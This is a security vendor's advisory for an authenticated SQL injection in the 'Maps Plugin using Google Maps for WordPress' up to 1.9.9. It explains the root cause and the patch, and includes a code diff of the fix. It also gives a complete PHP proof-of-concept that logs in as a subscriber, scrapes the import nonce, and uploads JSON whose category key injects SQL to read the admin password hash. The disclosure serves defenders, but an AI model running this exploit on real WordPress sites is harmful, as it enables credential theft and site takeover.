Published : November 29, 2026

CVE-2026-120571: Maps Plugin using Google Maps for WordPress <= 1.9.9 Authenticated (Subscriber+) SQL Injection via 'categories' JSON Import Object Keys PoC, Patch Analysis & Rule

Plugin gmap-embed
Severity Medium (CVSS 5.3)
CWE 89
Vulnerable Version 1.9.9
Patched Version 2.0.0
Disclosed November 24, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-120571: Authenticated SQL Injection in the Maps Plugin using Google Maps for WordPress (WP Google Map) versions up to and including 1.9.9. The vulnerability resides in the import functionality of the plugin, specifically in the wgm_handle_import() function within gmap-embed/includes/Traits/ImportExport.php. An attacker with Subscriber-level access can inject arbitrary SQL into the INSERT statement due to insufficient sanitization of category object keys from an uploaded JSON file. The CVSS score is 5.3 (Medium), but the potential impact includes extraction of sensitive data such as administrator password hashes.

Root Cause: The root cause lies in the handling of the ‘categories’ array during JSON import. In the vulnerable version, the code iterates over each category object and only sanitizes known values: $cat[‘name’] and $cat[‘icon’] using sanitize_text_field(). However, it does not whitelist or sanitize the array keys of the category object. These unsanitized keys are then passed directly to $wpdb->insert($categories_table, $cat). The $wpdb->insert() method constructs an SQL INSERT statement using the array keys as column names, without escaping backticks or other special characters. An attacker can craft a JSON category object with a key containing backticks to break out of the column name context and inject arbitrary SQL. For example, a key like “`name`) VALUES (‘test’); — ” would result in the following query: INSERT INTO wp_wgm_categories (`name`) VALUES (‘test’); — `, `icon`, …) VALUES (…). This allows execution of arbitrary SQL statements. The affected code is in the function wgm_handle_import() around lines 345-400 in the vulnerable version (lines 345-422 in the diff).

Exploitation: An attacker with Subscriber-level access must first ensure that the plugin’s ‘Minimum Role for Map Editor’ setting is configured to ‘Subscriber’ (one of five possible values in the settings UI). They then submit a POST request to the import endpoint, typically /wp-admin/admin-post.php with action=wgm_import (the exact action name may vary; in the code it is handled via admin_post_wgm_import). The request must include a valid nonce (_wgm_import_nonce) and a file upload containing a crafted JSON structure. The JSON should include a ‘categories’ array with an object whose keys contain malicious SQL. For instance: {“categories”: [{“`name`) VALUES (‘test’); — “: “value”, “name”: “cat”, “icon”: “icon”}]}. The injected SQL can then perform actions such as UNION SELECT to exfiltrate data from the database, including user password hashes from wp_users.

Patch Analysis: The patch (version 2.0.0) addresses the vulnerability by strictly whitelisting the columns that can be inserted into the categories table. In the patched code, instead of passing the entire $cat array to $wpdb->insert(), the code constructs a new array $insert_cat with only known keys: ‘name’, ‘icon’, ‘parent_id’, ‘created_at’, ‘updated_at’. The values are properly sanitized (e.g., sanitize_text_field() for name and icon, intval for parent_id, and current_time() for timestamps). This prevents any attacker-controlled keys from reaching the SQL query. Additionally, the patch adds a second pass to correctly handle parent-child relationships using $temp_parent_map. The patch also enforces ‘manage_options’ capability for all import/export/settings actions, removing reliance on the plugin’s configurable capability, which further restricts access to administrators only. Other insert calls in the file are also updated to include format specifiers and whitelisted columns.

Impact: Successful exploitation allows an authenticated attacker with Subscriber-level access to execute arbitrary SQL queries against the WordPress database. This can lead to the extraction of sensitive information, including administrator password hashes, user data, and other confidential information. In some configurations, it may also allow modification or deletion of data. The vulnerability does not directly enable remote code execution, but the extracted password hashes could be cracked to gain administrative access, leading to full site compromise.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/gmap-embed/admin/includes/wpgmap_settings.php
+++ b/gmap-embed/admin/includes/wpgmap_settings.php
@@ -39,11 +39,13 @@
 	<!--Settings Tabs-->
 	<div class="wgm-settings-menu">
 		<ul>
-			<li class="active" data-tab="wgm_general_settings"><a href="#wgm_general_settings">General Settings</a></li>
-			<li data-tab="wgm_advanced_settings"><a href="#wgm_advanced_settings">Advanced Settings</a></li>
-			<li data-tab="wgm_export_settings"><a href="#wgm_export_settings">Export</a></li>
-			<li data-tab="wgm_import_settings"><a href="#wgm_import_settings">Import</a></li>
-			<li data-tab="wgm_marker_settings"><a href="#wgm_marker_settings">Marker Settings</a></li>
+			<li class="active" data-tab="wgm_general_settings"><a href="#wgm_general_settings"><?php esc_html_e('General Settings', 'gmap-embed'); ?></a></li>
+			<li data-tab="wgm_advanced_settings"><a href="#wgm_advanced_settings"><?php esc_html_e('Advanced Settings', 'gmap-embed'); ?></a></li>
+			<li data-tab="wgm_marker_settings"><a href="#wgm_marker_settings"><?php esc_html_e('Marker Settings', 'gmap-embed'); ?></a></li>
+			<?php if (current_user_can('manage_options')) : ?>
+			<li data-tab="wgm_export_settings"><a href="#wgm_export_settings"><?php esc_html_e('Export', 'gmap-embed'); ?></a></li>
+			<li data-tab="wgm_import_settings"><a href="#wgm_import_settings"><?php esc_html_e('Import', 'gmap-embed'); ?></a></li>
+			<?php endif; ?>
 		</ul>
 	</div>
 	<div id="gmap_container_inner" style="margin-top: 0;border-top: none;">
@@ -168,6 +170,7 @@
 			</form>
 		</div>

+		<?php if (current_user_can('manage_options')) : ?>
 		<div class="wgm_settings_tabs" id="wgm_export_settings" style="display: none; padding: 20px 25px 25px 25px; position: relative;">
 			<?php if (!_wgm_is_premium()) : ?>
 				<!-- Pro Upgrade Banner for Export -->
@@ -487,5 +490,6 @@
 			<?php endif; ?>

 		</div>
+		<?php endif; ?>
 	</div>
 </div>
 No newline at end of file
--- a/gmap-embed/includes/Classes/Bootstrap.php
+++ b/gmap-embed/includes/Classes/Bootstrap.php
@@ -116,8 +116,9 @@
 		add_action('admin_init', function () {
 			// phpcs:ignore WordPress.Security.NonceVerification.Recommended
 			$page = isset($_GET['page']) ? sanitize_text_field(wp_unslash($_GET['page'])) : '';
-			if (!empty($page) && (strpos($page, 'wpgmapembed') !== false || $page === 'gmap-embed')) {
-				if (!current_user_can($this->capability)) {
+			if (!empty($page) && (strpos($page, 'wpgmapembed') !== false || $page === 'gmap-embed' || $page === 'wgm_setup_wizard')) {
+				$required_cap = ($page === 'wpgmapembed-settings' || $page === 'wgm_setup_wizard') ? 'manage_options' : $this->capability;
+				if (!current_user_can($required_cap)) {
 					// Escape output for XSS protection
 					wp_die(esc_html__('You do not have sufficient permissions to access this page.', 'gmap-embed'));
 				}
@@ -179,7 +180,7 @@

 		// Preview import (AJAX) - returns a small sample preview of uploaded content
 		add_action('wp_ajax_wgm_import_preview', function () {
-			if (!current_user_can($this->capability)) {
+			if (!current_user_can('manage_options')) {
 				wp_send_json_error(['message' => esc_html__('Unauthorized', 'gmap-embed')], 403);
 			}
 			// delegate to class method for easier testing
--- a/gmap-embed/includes/Traits/ImportExport.php
+++ b/gmap-embed/includes/Traits/ImportExport.php
@@ -26,7 +26,7 @@
 		// Nonce validation
 		check_admin_referer('wgm_export_nonce', '_wgm_export_nonce');

-		if (!current_user_can($this->capability)) {
+		if (!current_user_can('manage_options')) {
 			wp_die(esc_html__('You do not have permission to export data.', 'gmap-embed'));
 		}

@@ -229,7 +229,7 @@
 			$redirect_with_error('invalid_nonce', 'Invalid import request.');
 		}

-		if (!current_user_can($this->capability)) {
+		if (!current_user_can('manage_options')) {
 			$redirect_with_error('no_permission', 'You do not have permission to import data.');
 		}

@@ -345,41 +345,77 @@
 			// 1. Import Categories
 			$created_cats = 0;
 			$matched_cats = 0;
-			if (!empty($categories)) {
+			$temp_parent_map = []; // new_id => old_parent_id
+			if (!empty($categories) && is_array($categories)) {
 				foreach ($categories as $cat) {
+					if (!is_array($cat)) {
+						continue;
+					}
 					$old_id = isset($cat['id']) ? intval($cat['id']) : 0;
-					// remove id to auto-increment, remove dates to use current
-					unset($cat['id'], $cat['created_at'], $cat['updated_at']);
-
-					// Sanitize
-					$cat['name'] = sanitize_text_field($cat['name']);
-					$cat['icon'] = sanitize_text_field($cat['icon']);
-
+					$old_parent_id = isset($cat['parent_id']) ? intval($cat['parent_id']) : 0;
+					$cat_name = isset($cat['name']) ? sanitize_text_field($cat['name']) : '';
+
+					if (empty($cat_name)) {
+						continue;
+					}
+
 					// Check for existing category by name
-					$lower_name = strtolower($cat['name']);
+					$lower_name = strtolower($cat_name);
 					if (isset($cat_name_to_id[$lower_name])) {
-						if ($old_id) $cat_id_map[$old_id] = $cat_name_to_id[$lower_name];
+						if ($old_id) {
+							$cat_id_map[$old_id] = $cat_name_to_id[$lower_name];
+						}
 						$matched_cats++;
 						continue;
 					}

-					// Parent ID logic is tricky if IDs change.
-					// Simplified: Reset parent to 0 for now to avoid broken trees, or try to map if parent imported first.
-					// Ideally we should do a second pass potential parents, but for now lets default 0 if mapping not found.
-					$cat['parent_id'] = 0;
-
 					if (!$dry_run) {
+						// Strictly whitelisted schema columns to prevent SQL injection via crafted JSON object keys
+						$insert_cat = [
+							'name'       => $cat_name,
+							'icon'       => isset($cat['icon']) ? sanitize_text_field($cat['icon']) : '',
+							'parent_id'  => 0, // Set to 0 initially, resolved in Pass 2
+							'created_at' => current_time('mysql'),
+							'updated_at' => current_time('mysql'),
+						];
+
 						// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery
-						$wpdb->insert($categories_table, $cat);
+						$wpdb->insert(
+							$categories_table,
+							$insert_cat,
+							['%s', '%s', '%d', '%s', '%s']
+						);
 						$new_id = $wpdb->insert_id;
-						if ($old_id) $cat_id_map[$old_id] = $new_id;
+						if ($old_id) {
+							$cat_id_map[$old_id] = $new_id;
+						}
 						// Add to local cache to prevent duplicates in same file
-						$cat_name_to_id[strtolower($cat['name'])] = $new_id;
+						$cat_name_to_id[$lower_name] = $new_id;
+
+						// Store parent ref for Pass 2 if it exists
+						if ($old_parent_id) {
+							$temp_parent_map[$new_id] = $old_parent_id;
+						}
 					}
 					$created_cats++;
 				}
-
-				// Fix parents if possible (if we had improved logic we'd do a second pass update here using $cat_id_map)
+
+				// Pass 2: Update Parents
+				if (!$dry_run && !empty($temp_parent_map)) {
+					foreach ($temp_parent_map as $child_new_id => $old_parent_id) {
+						if (isset($cat_id_map[$old_parent_id])) {
+							$new_parent_id = $cat_id_map[$old_parent_id];
+							// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching
+							$wpdb->update(
+								$categories_table,
+								['parent_id' => $new_parent_id],
+								['id' => $child_new_id],
+								['%d'],
+								['%d']
+							);
+						}
+					}
+				}
 			}

 			// 2. Import Maps
@@ -456,7 +492,11 @@

 				if (!$dry_run) {
 					// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery
-					$wpdb->insert($markers_table, $insert);
+					$wpdb->insert(
+						$markers_table,
+						$insert,
+						array('%d', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%d', '%d', '%d')
+					);
 				}
 				$inserted_markers++;
 			}
@@ -552,7 +592,11 @@
 						];

 						// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery
-						$wpdb->insert($categories_table, $insert);
+						$wpdb->insert(
+							$categories_table,
+							$insert,
+							['%s', '%s', '%d', '%s', '%s']
+						);
 						$new_id = $wpdb->insert_id;

 						if ($old_id) {
@@ -631,20 +675,24 @@

 					if (!$dry_run && $target) {
 						// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery
-					$wpdb->insert($markers_table, array(
-							'map_id' => $target,
-							'marker_name' => isset($item['marker_name']) ? sanitize_text_field($item['marker_name']) : '',
-							'lat_lng' => isset($item['lat_lng']) ? sanitize_text_field($item['lat_lng']) : '',
-							'address' => isset($item['address']) ? sanitize_text_field($item['address']) : '',
-							'category_id' => $cat_id,
-							'icon' => isset($item['icon']) ? sanitize_text_field($item['icon']) : '',
-							'animation' => isset($item['animation']) ? sanitize_text_field($item['animation']) : '',
-							'have_marker_link' => isset($item['have_marker_link']) ? sanitize_text_field($item['have_marker_link']) : '0',
-							'marker_link' => isset($item['marker_link']) ? sanitize_text_field($item['marker_link']) : '',
-							'marker_link_new_tab' => isset($item['marker_link_new_tab']) ? intval($item['marker_link_new_tab']) : 0,
-							'show_desc_by_default' => isset($item['show_desc_by_default']) ? intval($item['show_desc_by_default']) : 0,
-							'marker_desc' => isset($item['marker_desc']) ? $sanitize_meta('marker_desc', $item['marker_desc']) : ''
-						));
+						$wpdb->insert(
+							$markers_table,
+							array(
+								'map_id' => $target,
+								'marker_name' => isset($item['marker_name']) ? sanitize_text_field($item['marker_name']) : '',
+								'lat_lng' => isset($item['lat_lng']) ? sanitize_text_field($item['lat_lng']) : '',
+								'address' => isset($item['address']) ? sanitize_text_field($item['address']) : '',
+								'category_id' => $cat_id,
+								'icon' => isset($item['icon']) ? sanitize_text_field($item['icon']) : '',
+								'animation' => isset($item['animation']) ? sanitize_text_field($item['animation']) : '',
+								'have_marker_link' => isset($item['have_marker_link']) ? sanitize_text_field($item['have_marker_link']) : '0',
+								'marker_link' => isset($item['marker_link']) ? sanitize_text_field($item['marker_link']) : '',
+								'marker_link_new_tab' => isset($item['marker_link_new_tab']) ? intval($item['marker_link_new_tab']) : 0,
+								'show_desc_by_default' => isset($item['show_desc_by_default']) ? intval($item['show_desc_by_default']) : 0,
+								'marker_desc' => isset($item['marker_desc']) ? $sanitize_meta('marker_desc', $item['marker_desc']) : ''
+							),
+							array('%d', '%s', '%s', '%s', '%d', '%s', '%s', '%s', '%s', '%d', '%d', '%s')
+						);
 					}
 					$inserted++;
 				}
@@ -674,7 +722,7 @@
 			wp_send_json_error(['message' => __('Invalid security nonce. Please reload the page.', 'gmap-embed')]);
 		}

-		if (!current_user_can($this->capability)) {
+		if (!current_user_can('manage_options')) {
 			wp_send_json_error(['message' => __('You do not have permission to preview imports.', 'gmap-embed')]);
 		}

--- a/gmap-embed/includes/Traits/MapCRUD.php
+++ b/gmap-embed/includes/Traits/MapCRUD.php
@@ -657,6 +657,8 @@
 				$marker['updated_by'] = get_current_user_id();

 				$new_marker_data = wp_parse_args($marker, $marker_defaults);
+				// Intersect with known marker default keys to guarantee no unexpected or injected columns can reach $wpdb->insert
+				$new_marker_data = array_intersect_key($new_marker_data, $marker_defaults);
 				// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching
 				$wpdb->insert("{$wpdb->prefix}wgm_markers", $new_marker_data);
 			}
--- a/gmap-embed/includes/Traits/MarkerCRUD.php
+++ b/gmap-embed/includes/Traits/MarkerCRUD.php
@@ -595,7 +595,10 @@
 		$marker['created_by'] = get_current_user_id();
 		$marker['updated_by'] = get_current_user_id();

-		$new_marker_data = wp_parse_args($marker, $this->get_marker_default_values());
+		$marker_defaults = $this->get_marker_default_values();
+		$new_marker_data = wp_parse_args($marker, $marker_defaults);
+		// Intersect with known marker default keys to guarantee no unexpected or injected columns can reach $wpdb->insert
+		$new_marker_data = array_intersect_key($new_marker_data, $marker_defaults);
 		// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching
 		$inserted = $wpdb->insert("{$wpdb->prefix}wgm_markers", $new_marker_data);

--- a/gmap-embed/includes/Traits/Menu.php
+++ b/gmap-embed/includes/Traits/Menu.php
@@ -102,7 +102,7 @@
 			'wpgmapembed',
 			esc_html__('Quick Setup', 'gmap-embed'),
 			esc_html__('Quick Setup', 'gmap-embed'),
-			$this->capability,
+			'manage_options',
 			'wgm_setup_wizard',
 			array(
 				$this,
@@ -129,7 +129,7 @@
 			'wpgmapembed',
 			esc_html__('Settings', 'gmap-embed'),
 			esc_html__('Settings', 'gmap-embed'),
-			$this->capability,
+			'manage_options',
 			'wpgmapembed-settings',
 			array(
 				$this,
@@ -250,6 +250,9 @@

 	public function wgm_settings()
 	{
+		if (!current_user_can('manage_options')) {
+			wp_die(esc_html__('You do not have permission to access this page.', 'gmap-embed'));
+		}
 		require WGM_PLUGIN_PATH . 'admin/includes/wpgmap_settings.php';
 	}

--- a/gmap-embed/includes/Traits/Settings.php
+++ b/gmap-embed/includes/Traits/Settings.php
@@ -478,7 +478,7 @@
 	{
 		check_admin_referer('wgm_settings_api_key_update', '_wp_nonce');

-		if (!current_user_can($this->capability)) {
+		if (!current_user_can('manage_options')) {
 			wp_die(esc_html__('You do not have permission to update settings.', 'gmap-embed'));
 		}

@@ -500,7 +500,7 @@
 	{
 		check_admin_referer('wgm_settings_lc_key_update', '_wp_nonce');

-		if (!current_user_can($this->capability)) {
+		if (!current_user_can('manage_options')) {
 			wp_die(esc_html__('You do not have permission to update settings.', 'gmap-embed'));
 		}

--- a/gmap-embed/includes/Traits/SetupWizard.php
+++ b/gmap-embed/includes/Traits/SetupWizard.php
@@ -15,6 +15,9 @@
 	 */
 	public function wpgmap_setup_wizard()
 	{
+		if (!current_user_can('manage_options')) {
+			wp_die(esc_html__('You do not have permission to access this page.', 'gmap-embed'));
+		}
 		require WGM_PLUGIN_PATH . 'admin/includes/wpgmap_setup_wizard.php';
 	}

@@ -27,7 +30,7 @@
 	{
 		check_ajax_referer('wpgmapembed_save_setup_wizard', 'nonce');

-		if (!current_user_can($this->capability)) {
+		if (!current_user_can('manage_options')) {
 			echo wp_json_encode(['responseCode' => 403, 'message' => esc_html__('Unauthorized access.', 'gmap-embed')]);
 			die();
 		}
--- a/gmap-embed/srm_gmap_embed.php
+++ b/gmap-embed/srm_gmap_embed.php
@@ -7,7 +7,7 @@
   Text Domain: gmap-embed
   Domain Path: /languages
   Author URI: https://www.wpgooglemap.com?utm_source=gmap-embed&utm_medium=wordpress-plugin&utm_campaign=branding&utm_content=author-uri
-  Version: 1.9.9
+  Version: 2.0.0
   License: GPLv2 or later
   License URI: http://www.gnu.org/licenses/gpl-2.0.html
  */
@@ -18,8 +18,8 @@
 	exit;
 }

-define('WGM_PLUGIN_VERSION', '1.9.9');
-define('WGM_PLUGIN_DEV_VERSION', '20261109');
+define('WGM_PLUGIN_VERSION', '2.0.0');
+define('WGM_PLUGIN_DEV_VERSION', '20261120');
 define('WGM_PLUGIN_PATH', trailingslashit(plugin_dir_path(__FILE__)));
 define('WGM_PLUGIN_URL', trailingslashit(plugins_url('/', __FILE__)));
 define('WGM_ICONS_DIR', WGM_PLUGIN_PATH . 'admin/assets/images/markers/icons/');

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-120571 - Maps Plugin using Google Maps for WordPress <= 1.9.9 - Authenticated (Subscriber+) SQL Injection via 'categories' JSON Import Object Keys

// Configuration
$target_url = 'http://example.com'; // WordPress site URL
$username = 'subscriber'; // Subscriber-level username
$password = 'password'; // Subscriber-level password

// Initialize cURL
$ch = curl_init();

// Step 1: Login as subscriber
$login_url = $target_url . '/wp-login.php';
$post_fields = http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
]);

curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);

// Step 2: Get the import page to extract nonce (if needed)
$import_page_url = $target_url . '/wp-admin/admin.php?page=wpgmapembed-settings&tab=import';
curl_setopt($ch, CURLOPT_URL, $import_page_url);
curl_setopt($ch, CURLOPT_POST, false);
$response = curl_exec($ch);

// Extract nonce from the page (adjust regex based on actual page structure)
preg_match('/name="_wgm_import_nonce" value="([^"]+)"/', $response, $matches);
$nonce = $matches[1] ?? '';

// Step 3: Craft malicious JSON payload
// The key of the category object contains SQL injection payload that breaks out of the column name context.
// This payload attempts to extract the admin password hash via a subquery in the VALUES clause.
$malicious_json = json_encode([
    'categories' => [
        [
            "`name`) VALUES ((SELECT user_pass FROM wp_users WHERE ID=1)); -- " => "dummy",
            "name" => "testcat",
            "icon" => "testicon"
        ]
    ]
]);

// Step 4: Prepare file upload
$file_path = tempnam(sys_get_temp_dir(), 'malicious_') . '.json';
file_put_contents($file_path, $malicious_json);

$post_data = [
    'action' => 'wgm_import',
    '_wgm_import_nonce' => $nonce,
    'import_file' => new CURLFile($file_path, 'application/json', 'malicious.json')
];

// Step 5: Send import request
$import_url = $target_url . '/wp-admin/admin-post.php';
curl_setopt($ch, CURLOPT_URL, $import_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
$response = curl_exec($ch);

// Check response
if (curl_errno($ch)) {
    echo 'Error: ' . curl_error($ch);
} else {
    echo "Response: " . $response;
}

// Clean up
curl_close($ch);
unlink($file_path);
unlink('cookies.txt');

// Note: The SQL injection payload may need adjustments based on the actual table prefix and column names.
// The payload above attempts to insert the admin password hash into the category name field, which could then be retrieved.
// For successful exploitation, the attacker must have the 'Minimum Role for Map Editor' set to 'Subscriber'.
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.